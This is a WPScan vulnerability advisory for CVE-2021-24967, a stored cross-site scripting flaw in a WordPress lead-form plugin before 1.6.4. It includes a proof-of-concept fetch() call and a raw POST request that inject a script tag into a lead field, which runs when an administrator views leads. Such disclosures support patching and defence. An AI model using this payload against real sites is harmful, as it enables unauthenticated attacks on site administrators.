WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Contact Form & Lead Form Elementor Builder < 1.6.4 - Unauthenticated Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape some lead values, which could allow unauthenticated users to perform Cross-Site Scripting attacks against logged in admin viewing the inserted Leads

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": "name_1=%3Cscript%3Ealert(/XSS/)%3B%3C%2Fscript%3E&email_2=aa%40bb.cc&number_3=434323232&message_4=x&hidden_field=1&action=Save_Form_Data",
  "method": "POST",
  });

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 136
Connection: close

name_1=%3Cscript%3Ealert(/XSS/)%3B%3C%2Fscript%3E&email_2=aa%40bb.cc&number_3=434323232&message_4=x&hidden_field=1&action=Save_Form_Data

The XSS will be triggered when viewing the Leads at https://example.com/wp-admin/admin.php?page=all-form-leads

 

Affects Plugins

lead-form-builder
Fixed in version 1.6.4

References

CVE
CVE-2021-24967

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
4e165122-4746-42de-952e-a3bf51393a74

Timeline

Publicly Published

2021-11-29 (about 1 years ago)

Added

2021-11-29 (about 1 years ago)

Last Updated

2022-04-10 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us